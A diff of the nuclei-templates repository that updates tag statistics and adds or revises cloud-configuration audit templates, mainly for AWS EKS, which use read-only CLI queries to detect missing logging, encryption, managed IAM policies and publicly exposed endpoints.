"name":"cisco","count":76},{"name":"enum","count":73},{"name":"k8s","count":71},{"name":"file-upload","count":70},{"name":"adobe","count":66},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"c2","count":61},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"detection","count":60},{"name":"cve2016","count":60},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"vmware","count":58},{"name":"deserialization","count":56},{"name":"php","count":52},{"name":"dast","count":51},{"name":"misc","count":51},{"name":"cve2014","count":50},{"name":"logs","count":50},{"name":"traversal","count":50},{"name":"ssti","count":49},{"name":"osint-gaming","count":49},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"ssh","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"plugin","count":47},{"name":"debug","count":47},{"name":"vulhub","count":46},{"name":"cnvd","count":46},{"name":"aem","count":46},{"name":"fortinet","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"kisa","count":44},{"name":"jndi","count":44},{"name":"miscellaneous","count":44},{"name":"oa","count":43},{"name":"ssl","count":43},{"name":"springboot","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":41},{"name":"api","count":41},{"name":"sap","count":40},{"name":"info-leak","count":40},{"name":"dlink","count":39},{"name":"postgresql","count":39},{"name":"cti","count":38},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"osint-coding","count":37},{"name":"wp-theme","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"devsecops","count":34},{"name":"gitlab","count":34},{"name":"networking","count":34},{"name":"lfr","count":34},{"name":"xxe","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"ftp","count":32},{"name":"graphql","count":32},{"name":"yonyou","count":32},{"name":"osint-tech","count":31},{"name":"printer","count":31},{"name":"nginx","count":31},{"name":"vpc","count":31},{"name":"compliance","count":31},{"name":"tomcat","count":30},{"name":"ec2","count":30},{"name":"alibaLine truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3066 | dhiyaneshdk   |  1823 | http       |  8574 | info     |  4062 | file |   434 |
-| panel     |  1289 | daffainfo     |   868 | cloud      |   646 | high     |  2348 | dns  |    25 |
-| xss       |  1229 | dwisiswant0   |   805 | file       |   434 | medium   |  2307 |      |       |
-| wordpress |  1129 | princechaddha |   797 | dast       |   255 | critical |  1289 |      |       |
-| exposure  |  1082 | ritikchaddha  |   583 | workflows  |   202 | low      |   313 |      |       |
-| wp-plugin |   988 | pussycat0x    |   500 | code       |   168 | unknown  |    52 |      |       |
-| osint     |   808 | pikpikcu      |   352 | network    |   140 |          |       |      |       |
-| tech      |   772 | pdteam        |   304 | javascript |    71 |          |       |      |       |
-| lfi       |   758 | ricardomaia   |   249 | ssl        |    38 |          |       |      |       |
-| misconfig |   735 | geeknik       |   235 | dns        |    22 |          |       |      |       |
+| cve       |  3330 | dhiyaneshdk   |  1871 | http       |  9035 | info     |  4236 | file |   436 |
+| panel     |  1349 | daffainfo     |   868 | cloud      |   657 | high     |  2486 | dns  |    26 |
+| xss       |  1249 | princechaddha |   854 | file       |   436 | medium   |  2387 |      |       |
+| wordpress |  1189 | dwisiswant0   |   806 | code       |   249 | critical |  1444 |      |       |
+| exposure  |  1114 | ritikchaddha  |   658 | dast       |   238 | low      |   322 |      |       |
+| wp-plugin |  1038 | pussycat0x    |   546 | workflows  |   203 | unknown  |    56 |      |       |
+| osint     |   841 | pikpikcu      |   352 | network    |   151 |          |       |      |       |
+| tech      |   811 | pdteam        |   310 | javascript |    78 |          |       |      |       |
+| rce       |   796 | pdresearch    |   271 | ssl        |    38 |          |       |      |       |
+| lfi       |   779 | iamnoooob     |   259 | dns        |    23 |          |       |      |       |
@@ -0,0 +1,79 @@
+id: eks-aws-managed-iam-policy
+
+info:
+  name: Use AWS-managed policy to manage AWS resources
+  author: princechaddha
+  severity: high
+  description: |
+    Ensure that all Amazon EKS clusters use the "AmazonEKSClusterPolicy" managed policy to efficiently manage the resources that you use with the EKS service. This policy grants Kubernetes the necessary permissions to handle resources on your behalf.
+  impact: |
+    Without the AmazonEKSClusterPolicy, Kubernetes may not have the required permissions to perform essential operations like EC2:CreateTags, which are needed for proper resource management and identification.
+  remediation: |
+    Attach the AmazonEKSClusterPolicy to the IAM role associated with your EKS cluster using either the AWS Console or AWS CLI.
+  reference:
+    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/aws/EKS/eks-aws-managed-iam-policy.html
+    - https://docs.aws.amazon.com/eks/latest/userguide/service_IAM_role.html
+  tags: cloud,devops,aws,amazon,eks,aws-cloud-config
+
+variables:
+  region: "us-east-1"
+
+flow: |
+  code(1)
+  for(let cluster of iterate(template.clusters)){
+    set("cluster", cluster)
+    code(2)
+    code(3)
+  }
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks list-clusters --region $region --query 'clusters' --output json
+
+    extractors:
+      - type: json
+        name: clusters
+        internal: true
+        json:
+          - '.[]'
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks describe-cluster --region $region --name $cluster --query 'cluster.roleArn' --output json
+
+    extractors:
+      - type: json
+        name: rolearn
+        internal: true
+        json:
+          - '.'
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws iam list-attached-role-policies --role-name $(echo $rolearn | cut -d'/' -f2) --query 'AttachedPolicies[*].PolicyArn' --output json
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy"
+        negative: true
+
+      - type: word
+        words:
+          - "["
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"EKS cluster " + cluster + " does not have AmazonEKSClusterPolicy attached to its IAM role"'
+# digest: 4b0a00483046022100cb188ea7a1c621443962e0752bbd3c2ed69bff4d32f2235fdc081775da96d4e1022100b1f30b371acb9baa1fa798187a7a003c496d9b10b73f163722b365498bdd289e:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,65 @@
+id: eks-cluster-logging
+
+info:
+  name: Kubernetes Cluster Logging
+  author: princechaddha
+  severity: low
+  description: |
+    Ensure that your Amazon Elastic Kubernetes Service (EKS) clusters have control plane logs enabled to publish API, audit, controller manager, scheduler and authenticator logs to AWS CloudWatch Logs.
+  impact: |
+    Without control plane logging enabled, you lose visibility into API requests, authentication attempts, and cluster operations, making it difficult to monitor, troubleshoot, and audit cluster activities.
+  remediation: |
+    Enable control plane logging for your EKS cluster by configuring all log types (api, audit, authenticator, controllerManager, scheduler) in the cluster configuration.
+  reference:
+    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/aws/EKS/cluster-logging.html
+    - https://docs.aws.amazon.com/eks/latest/userguide/control-plane-logs.html
+  tags: cloud,devops,aws,amazon,eks,aws-cloud-config
+
+variables:
+  region: "us-east-1"
+
+flow: |
+  code(1)
+  for(let cluster of iterate(template.clusters)){
+    set("cluster", cluster)
+    code(2)
+  }
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks list-clusters --region $region --query 'clusters' --output json
+
+    extractors:
+      - type: json
+        name: clusters
+        internal: true
+        json:
+          - '.[]'
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks describe-cluster --region $region --name $cluster --query 'cluster.logging.clusterLogging[*].enabled' --output json
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "false"
+
+      - type: word
+        words:
+          - "true"
+        negative: true
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"EKS cluster " + cluster + " does not have control plane logging enabled"'
+# digest: 4a0a0047304502207abbc7892b2cc08d5d295b171c31d5ae2ef322d6278e92f662aeb47c659f8885022100ba3672bb61d247c24db1fc1b6ef3cd256258f04a268d52faa5e8105261796fd7:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,64 @@
+id: eks-endpoint-access
+
+info:
+  name: EKS Cluster Endpoint Public Access
+  author: princechaddha
+  severity: high
+  description: |
+    Ensure that your Amazon EKS cluster's Kubernetes API server endpoint is not publicly accessible from the Internet in order to avoid exposing private data and minimizing security risks.
+  impact: |
+    Publicly accessible EKS cluster endpoints expose your Kubernetes API server to potential unauthorized access and attacks, increasing the risk of data breaches and security compromises.
+  remediation: |
+    Configure the EKS cluster endpoint access to be private or restrict public access to specific IP addresses. Use VPC endpoints and security groups to control access to the Kubernetes API server.
+  reference:
+    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/aws/EKS/endpoint-access.html
+    - https://docs.aws.amazon.com/eks/latest/userguide/cluster-endpoint.html
+  tags: cloud,devops,aws,amazon,eks,aws-cloud-config
+
+variables:
+  region: "us-east-1"
+
+flow: |
+  code(1)
+  for(let clusterName of iterate(template.clusters)){
+    set("cluster", clusterName)
+    code(2)
+  }
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks list-clusters --region $region --query 'clusters[]' --output json
+
+    extractors:
+      - type: json
+        name: clusters
+        internal: true
+        json:
+          - '.[]'
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks describe-cluster --name $cluster --region $region --query 'cluster.resourcesVpcConfig' --output json
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '"endpointPublicAccess": true'
+
+      - type: word
+        words:
+          - '"0.0.0.0/0"'
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"EKS cluster " + cluster + " has public endpoint access enabled with unrestricted CIDR (0.0.0.0/0)"'
+# digest: 4a0a004730450220449d0874682b6d4ed40f71819e03f437222ad9b8f6b8cc21fc17bca8fda57714022100b3b986adfc06443888f8dc7148a6721b2dce6beabce549e0b74aebd6835d3f80:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,96 @@
+id: eks-iam-managed-policy-networking
+
+info:
+  name: Use AWS-managed policy to Manage Networking Resources
+  author: princechaddha
+  severity: high
+  description: |
+    Ensure that all Amazon EKS cluster node groups use the "AmazonEKS_CNI_Policy" managed policy to manage cloud networking resources effectively. This policy provides the necessary permissions to the Amazon VPC CNI Plugin for managing network interfaces.
+  impact: |
+    Without the AmazonEKS_CNI_Policy, the VPC CNI plugin cannot properly manage network interfaces, which will affect pod networking and communication within the EKS cluster.
+  remediation: |
+    Attach the AmazonEKS_CNI_Policy to the IAM role associated with your EKS node groups using either the AWS Console or AWS CLI.
+  reference:
+    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/aws/EKS/eks-iam-managed-policy-networking.html
+    - https://docs.aws.amazon.com/eks/latest/userguide/cni-iam-role.html
+  tags: cloud,devops,aws,amazon,eks,aws-cloud-config
+
+variables:
+  region: "us-east-1"
+
+flow: |
+  code(1)
+  for(let cluster of iterate(template.clusters)){
+    set("cluster", cluster)
+    code(2)
+    for(let nodegroup of iterate(template.nodegroups)){
+      set("nodegroup", nodegroup)
+      code(3)
+      code(4)
+    }
+  }
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks list-clusters --region $region --query 'clusters' --output json
+
+    extractors:
+      - type: json
+        name: clusters
+        internal: true
+        json:
+          - '.[]'
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks list-nodegroups --region $region --cluster-name $cluster --query 'nodegroups' --output json
+
+    extractors:
+      - type: json
+        name: nodegroups
+        internal: true
+        json:
+          - '.[]'
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks describe-nodegroup --region $region --cluster-name $cluster --nodegroup-name $nodegroup --query 'nodegroup.nodeRole' --output json
+
+    extractors:
+      - type: json
+        name: rolearn
+        internal: true
+        json:
+          - '.'
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws iam list-attached-role-policies --role-name $(echo $rolearn | cut -d'/' -f2) --query 'AttachedPolicies[*].PolicyArn' --output json
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "arn:aws:iam::aws:policy/AmazonEKS_CNI_Policy"
+        negative: true
+
+      - type: word
+        words:
+          - "["
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"EKS node group " + nodegroup + " in cluster " + cluster + " does not have AmazonEKS_CNI_Policy attached to its IAM role"'
+# digest: 4a0a00473045022023f8808874109fe7ecbba46a483828ba13f43be27154f5616fe50dc71b12cc43022100af8c38a314e3e68589d0d8fc67814595d173bc29827cdee00c0fcf3189049701:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,59 @@
+id: eks-kubernetes-secrets-encryption
+
+info:
+  name: EKS Kubernetes Secrets not Encrypted
+  author: princechaddha
+  severity: high
+  description: |
+    Ensure that your Amazon Elastic Kubernetes Service (EKS) clusters have encryption enabled for Kubernetes secrets using AWS KMS Customer Master Keys (CMKs). This is a security best practice for protecting sensitive data stored in Kubernetes secrets.
+  impact: |
+    Without encryption enabled, Kubernetes secrets are stored in plaintext, making them vulnerable to unauthorized access and potentially violating compliance requirements for data-at-rest encryption.
+  remediation: |
+    Enable encryption for your EKS cluster by creating a KMS CMK and configuring it for the cluster. Note that this requires recreating the cluster with the encryption configuration.
+  reference:
+    - https://docs.aws.amazon.com/eks/latest/userguide/encryption-configuration.html
+    - https://docs.aws.amazon.com/eks/latest/userguide/update-cluster.html
+  tags: cloud,devops,aws,amazon,eks,aws-cloud-config
+
+variables:
+  region: "us-east-1"
+
+flow: |
+  code(1)
+  for(let cluster of iterate(template.clusters)){
+    set("cluster", cluster)
+    code(2)
+  }
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks list-clusters --region $region --query 'clusters' --output json
+
+    extractors:
+      - type: json
+        name: clusters
+        internal: true
+        json:
+          - '.[]'
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks describe-cluster --region $region --name $cluster --query 'cluster.encryptionConfig[*].provider.keyArn' --output json
+
+    matchers:
+      - type: word
+        words:
+          - "null"
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"EKS cluster " + cluster + " does not have encryption enabled for Kubernetes secrets"'
+# digest: 4b0a0048304602210095384f513dd7c3cfcf985e2bb4c95fd1ef48deb4c6d60d5e2068f5be999999a7022100dc5163ca0d48f98dd9991cfb47bfa72632a09376f17fb74868870b8816f9e944:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,59 @@
+id: eks-logging-kubes-api-calls
+
+info:
+  name: Enable CloudTrail Logging for Kubernetes API Calls
+  author: princechaddha
+  severity: high
+  description: |
+    Ensure that CloudTrail logging is enabled for Amazon Elastic Kubernetes Service (EKS) clusters in order to record all Kubernetes API calls. Amazon CloudTrail records and documents all activities performed on EKS clusters.
+  impact: |
+    Without CloudTrail logging enabled, there is no audit trail of API calls made to EKS clusters, making it difficult to track unauthorized access, investigate security incidents, and maintain compliance.
+  remediation: |
+    Enable CloudTrail logging for your EKS clusters by either starting logging on existing trails or creating a new multi-region trail if none exists.
+  reference:
+    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/aws/EKS/eks-logging-kubes-api-calls.html
+    - https://docs.aws.amazon.com/eks/latest/userguide/logging-using-cloudtrail.html
+  tags: cloud,devops,aws,amazon,eks,aws-cloud-config
+
+variables:
+  region: "us-east-1"
+
+flow: |
+  code(1)
+  for(let trailName of iterate(template.trails)){
+    set("trail", trailName)
+    code(2)
+  }
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws cloudtrail list-trails --region $region --query 'Trails[*].Name' --output json
+
+    extractors:
+      - type: json
+        name: trails
+        internal: true
+        json:
+          - '.[]'
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws cloudtrail get-trail-status --name $trail --region $region --query 'IsLogging' --output json
+
+    matchers:
+      - type: word
+        words:
+          - "false"
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"CloudTrail trail " + trail + " is not logging EKS API calls"'
+# digest: 4a0a00473045022100f391ee451c3a69cb5835b4b0a2c35886c5905ac8d91adf05ea56546b3e4109ff02201fd66caa2a782620e962cecbdf4ff60f957dcecac3f8d53006d44b60d08d7672:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,64 @@
+id: eks-long-running-pods
+
+info:
+  name: EKS Long Running Pods
+  author: princechaddha
+  severity: medium
+  description: |
+    Ensure that Amazon Elastic Kubernetes Service (EKS) clusters do not have pods running for more than 30 days. Long-running pods may indicate stale deployments, potential security risks, or resource inefficiencies.
+  impact: |
+    Long-running pods can lead to security vulnerabilities, outdated software versions, and inefficient resource utilization. They may also indicate a lack of proper deployment practices and maintenance.
+  remediation: |
+    Review and update long-running pods. Consider implementing proper deployment strategies, regular updates, and automated pod rotation policies.
+  reference:
+    - https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/
+    - https://docs.aws.amazon.com/eks/latest/userguide/kubernetes-versions.html
+  tags: cloud,devops,aws,amazon,eks,aws-cloud-config
+
+variables:
+  region: "us-east-1"
+  days: "30"
+
+flow: |
+  code(1)
+  for(let cluster of iterate(template.clusters)){
+    set("cluster", cluster)
+    code(2)
+  }
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks list-clusters --region $region --query 'clusters' --output json
+
+    extractors:
+      - type: json
+        name: clusters
+        internal: true
+        json:
+          - '.[]'
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks update-kubeconfig --name $cluster --region $region
+      kubectl get pods --all-namespaces --field-selector=status.phase=Running --output=json | \
+      jq -r --argjson days "$days" '.items[] |
+      select((now - (.metadata.creationTimestamp | fromdate)) > ($days * 24 * 3600)) |
+      .metadata.namespace + "/" + .metadata.name'
+
+    matchers:
+      - type: word
+        words:
+          - "/"
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"EKS cluster " + cluster + " has pods running for more than " + days + " days"'
+# digest: 4a0a00473045022078e484dde6ab14a2c60f99ac9498ceac9733bddc7c21db406a696cf49974d53d022100b8fde680e4403da4247605f652a492812f19e6559cfd949652e11e22dadbf28e:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,96 @@
+id: eks-managed-policy-ecr-access
+
+info:
+  name: Use AWS-managed policy to access Amazon ECR Repositories
+  author: princechaddha
+  severity: high
+  description: |
+    Ensure that all EKS cluster node groups use the "AmazonEC2ContainerRegistryReadOnly" managed policy to access Amazon ECR repositories. This policy provides read-only access to Amazon EC2 Container Registry (ECR) repositories.
+  impact: |
+    Without the AmazonEC2ContainerRegistryReadOnly policy, EKS node groups cannot pull container images from ECR repositories, which will prevent pods from starting and running properly.
+  remediation: |
+    Attach the AmazonEC2ContainerRegistryReadOnly policy to the IAM role associated with your EKS node groups using either the AWS Console or AWS CLI.
+  reference:
+    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/aws/EKS/managed-policy-ecr-access.html
+    - https://docs.aws.amazon.com/AmazonECR/latest/userguide/ecr_managed_policies.html
+  tags: cloud,devops,aws,amazon,eks,aws-cloud-config
+
+variables:
+  region: "us-east-1"
+
+flow: |
+  code(1)
+  for(let cluster of iterate(template.clusters)){
+    set("cluster", cluster)
+    code(2)
+    for(let nodegroup of iterate(template.nodegroups)){
+      set("nodegroup", nodegroup)
+      code(3)
+      code(4)
+    }
+  }
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks list-clusters --region $region --query 'clusters' --output json
+
+    extractors:
+      - type: json
+        name: clusters
+        internal: true
+        json:
+          - '.[]'
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks list-nodegroups --region $region --cluster-name $cluster --query 'nodegroups' --output json
+
+    extractors:
+      - type: json
+        name: nodegroups
+        internal: true
+        json:
+          - '.[]'
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks describe-nodegroup --region $region --cluster-name $cluster --nodegroup-name $nodegroup --query 'nodegroup.nodeRole' --output json
+
+    extractors:
+      - type: json
+        name: rolearn
+        internal: true
+        json:
+          - '.'
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws iam list-attached-role-policies --role-name $(echo $rolearn | cut -d'/' -f2) --query 'AttachedPolicies[*].PolicyArn' --output json
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "arn:aws:iam::aws:policy/AmazonEC2ContainerRegistryReadOnly"
+        negative: true
+
+      - type: word
+        words:
+          - "["
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"EKS node group " + nodegroup + " in cluster " + cluster + " does not have AmazonEC2ContainerRegistryReadOnly policy attached to its IAM role"'
+# digest: 4b0a00483046022100dfff86549934385d864486861683a6edb57b79f605a4d9fe4ec39ae73e89441a022100b9baaea0b29a98600ba9ac840f7ff8b99be1fd58679e781a011a6fe2bc8c0bfd:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,82 @@
+id: eks-node-group-remote-access
+
+info:
+  name: EKS Node Group Remote Access Configuration
+  author: princechaddha
+  severity: high
+  description: |
+    Ensure that Amazon EKS node groups are configured with appropriate remote access settings to maintain security and enable necessary administrative access.
+  impact: |
+    Improper remote access configuration in EKS node groups can lead to security vulnerabilities or hinder necessary administrative access, potentially affecting cluster management and troubleshooting capabilities.
+  remediation: |
+    Configure remote access settings for EKS node groups by specifying appropriate SSH key pairs and source security groups to enable secure administrative access while maintaining security best practices.
+  reference:
+    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/aws/EKS/eks-node-group-remote-access.html
+    - https://docs.aws.amazon.com/eks/latest/userguide/launch-templates.html
+  tags: cloud,devops,aws,amazon,eks,aws-cloud-config
+
+variables:
+  region: "us-east-1"
+
+flow: |
+  code(1)
+  for(let clusterName of iterate(template.clusters)){
+    set("cluster", clusterName)
+    code(2)
+    for(let nodegroupName of iterate(template.nodegroups)){
+      set("nodegroup", nodegroupName)
+      code(3)
+    }
+  }
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks list-clusters --region $region --query 'clusters[]' --output json
+
+    extractors:
+      - type: json
+        name: clusters
+        internal: true
+        json:
+          - '.[]'
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks list-nodegroups --cluster-name $cluster --region $region --query 'nodegroups[]' --output json
+
+    extractors:
+      - type: json
+        name: nodegroups
+        internal: true
+        json:
+          - '.[]'
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      aws eks describe-nodegroup --cluster-name $cluster --nodegroup-name $nodegroup --region $region --query 'nodegroup.remoteAccess' --output json
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - '.*'
+
+      - type: word
+        words:
+          - "null"
+        negative: true
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"EKS node group " + nodegroup + " in cluster " + cluster + " does not have remote access configured"'
+# digest: 4a0a0047304502203d6f07c68d09531799f475c104159760b6ff871908abe6318495c472fcf12e75022100d887a58f8de4bf9665e832ed1af966ae0c186a2afe1f1749c1912bba4b308266:922c64590222798bb761d5b6d8e72950
@@ -27,7 +27,7 @@ code:
      aws s3api list-buckets --query 'Buckets[*].Name'

    extractors:
-      - type: json # type of the extractor
+      - type: json
        internal: true
        name: buckets
        json:
@@ -39,21 +39,14 @@ code:
    source: |
      aws s3api get-bucket-policy --bucket $bucket --query Policy --output text

-    matchers-condition: and
    matchers:
-      - type: word
+      - type: regex
        part: body
-        words:
-          - '"Effect":"Allow"'
-
-      - type: word
-        part: body
-        words:
-          - '"Principal":"*"'
-          - '"AWS":"*"'
+        regex:
+          - '\{[^}]*?(?:(?:"Effect"\s*:\s*"Allow"[^}]*?"Principal"\s*:\s*(?:"\*"|\{\s*"AWS"\s*:\s*"\*"\s*\}))|(?:"Principal"\s*:\s*(?:"\*"|\{\s*"AWS"\s*:\s*"\*"\s*\})[^}]*?"Effect"\s*:\s*"Allow"))[^}]*?\}'

    extractors:
      - type: dsl
        dsl:
          - '"The S3 bucket " + bucket +" is publicly accessible via Policy"'
-# digest: 4a0a00473045022100c62712d0155b3a6ab8cad4c8d7a87284079288e840855539a4186055949e17f2022061849f7af633798a71f6769172339151da4f05799827c15cc680ee59bfbbf55d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204aa1c0bf7c39ed575786813f4442686d138c58747766d33101948713281ac9610221008b7dc698b16415a2e1262b4bf9da7afda5e909f72df76d03d403dab9b8f1d479:922c64590222798bb761d5b6d8e72950
@@ -39,21 +39,15 @@ code:
      - sh
      - bash
    source: |
-      az cosmosdb show --ids $id --query '{"ipRules":ipRules,"isVirtualNetworkFilterEnabled":isVirtualNetworkFilterEnabled}' --output json
+      az cosmosdb show --ids $id --query "{publicNetworkAccess: publicNetworkAccess, virtualNetworkRules: virtualNetworkRules}" --output json

-    matchers-condition: and
    matchers:
      - type: word
        words:
-          - '"isVirtualNetworkFilterEnabled": false'
-
-      - type: word
-        words:
-          - '"ipRules": []'
-          - '"ipRules": null'
+          - '"publicNetworkAccess": "Enabled"'

    extractors:
      - type: dsl
        dsl:
          - 'id + " is unrestricted with default network access"'
-# digest: 4a0a00473045022100cb26538e8bb7b97b94d92971d4e07f524f8f431339a982d078f398a65314724902201a2efdf52b03527c0d8f1a9c4816e041ec52fb0b74bf63e8481dfc0a679f9d4c:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201b52806f47e1c0a2e8267269a5aef2f8cd84daf085c320160c0a22c9a32f16b902204f6da44a563362ae4fc20de0be0cbbe1e4412896d6149e06a8aa4a3928ad124c:922c64590222798bb761d5b6d8e72950
@@ -39,16 +39,16 @@ code:
      - sh
      - bash
    source: |
-      az keyvault show --name $vaultName --query 'properties.networkAcls.defaultAction' --output json
+      az keyvault show --name $vaultName --query 'properties.publicNetworkAccess' --output tsv

    matchers:
      - type: word
        words:
-          - '"Allow"'
+          - 'Enabled'
          - ''

    extractors:
      - type: dsl
        dsl:
          - 'vaultName + " is configured to allow unrestricted Key Vault network access"'
-# digest: 4a0a0047304502200a69471e0adb1de1ded0fd0dc5901d9ded2c25d65574c1b574e409c7bcba70da022100c4c62e0af8d1d317784ff35df3d35c7558b6a83155a6a73a92f868a6073a8adc:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202235e2154b8f07704fc4c2d1c908bfa81bed50c8e1e810045f98dfde26b1ecd6022079a2551d6e4708fab8d25470394d4e9389b3fa624f2840652adcfc7c8a779b3e:922c64590222798bb761d5b6d8e72950
@@ -45,10 +45,10 @@ code:
    matchers:
      - type: word
        words:
-          - 'false'
+          - 'true'

    extractors:
      - type: dsl
        dsl:
          - 'ids + " has public access enabled"'
-# digest: 4b0a00483046022100f755c16fc63db658362f5f67dfe2c2033a4272b416639726c548fc8895f49c1d022100e57e148fcab6a467515f5983dfe1ddf7f1ba8c73d72f9835c13befe146fffb85:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200a4647bd2fcbf10578588b6759a03e7c950b6dd1097956c795e10ed117bdc765022051b5ccfe57bd9dbe49c43aba85f04b56ed99c6b7e1636cac6faeb80ba691dc7d:922c64590222798bb761d5b6d8e72950
@@ -42,14 +42,13 @@ code:
    source: |
      az storage account show --name "$name" --query 'allowCrossTenantReplication'

-    matchers-condition: and
    matchers:
      - type: word
        words:
-          - 'false'
+          - 'true'

    extractors:
      - type: dsl
        dsl:
          - '"Cross-Tenant Replication is enabled for " + name + ", posing a security risk"'
-# digest: 490a00463044022000ae1a04ecda351a200bbc28099b9ddca8bbaa6f20579cde6d31ae404b97227d02206c5b1363ed1c0f656c4a4d219af389035dbfe84597b4a1d3842a4f076a5e49ff:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ef0f1360870fe2845c40b84a1de7171a6612e371a0176675ced7d4fda7a1c4b5022100815143249c65ce85f872d8dd949c933cbb762d39fcf3e6bde403920f9c5aee75:922c64590222798bb761d5b6d8e72950
@@ -39,7 +39,7 @@ code:
        name: projectIds
        internal: true
        json:
-          - '.[].projectId'
+          - ".[].projectId"

  - engine:
      - sh
@@ -52,7 +52,7 @@ code:
        name: emails
        internal: true
        json:
-          - '.[].email'
+          - ".[].email"

  - engine:
      - sh
@@ -63,10 +63,12 @@ code:
    matchers:
      - type: word
        words:
-          - 'KEY_ID'
+          - "USER_MANAGED"
+          - "KEY_ID"
+        condition: or

    extractors:
      - type: dsl
        dsl:
          - '"User-Managed Keys Found in Service Account " + email + " in project " + projectId'
-# digest: 4a0a0047304502206d029c26c00ff70caf71ace521c4a91a88b47c2a3befd052c8f6b8aafc3df559022100b847c83b437bece07c45ae96c3b0636f4b64365aa023ecc548b446f9e3e6d5af:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200b5e24605932c74af12b6c325e37ca631802cc31f53ffbd0bc812862c1f2a6bf02205f1402f6334cba1c99ea9385c89646f8a707b752850f350c30263061779818c3:922c64590222798bb761d5b6d8e72950
@@ -39,7 +39,7 @@ code:
        name: projectIds
        internal: true
        json:
-          - '.[].projectId'
+          - ".[].projectId"

  - engine:
      - sh
@@ -52,7 +52,7 @@ code:
        name: buckets
        internal: true
        json:
-          - '.[].name'
+          - ".[].name"

  - engine:
      - sh
@@ -62,11 +62,13 @@ code:

    matchers:
      - type: word
+        negative: true
        words:
-          - 'inherited'
+          - "inherited"
+          - "enforced"

    extractors:
      - type: dsl
        dsl:
          - '"Public Access Prevention is not enabled for the bucket " + bucketName + " in project " + projectId'
-# digest: 4a0a00473045022100c1b3ec23ade491f0feed95fabd9d6ddc0497ca798fc90e87e937354910e9fc79022061180eaadc90af9f7270297bfafaad491d57c30b6f5af1eee12f047e5e3c2885:922c64590222798bb761d5b6d8e72950
